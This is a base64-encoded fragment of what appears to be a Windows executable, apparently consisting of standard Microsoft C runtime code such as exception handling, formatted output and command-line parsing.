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 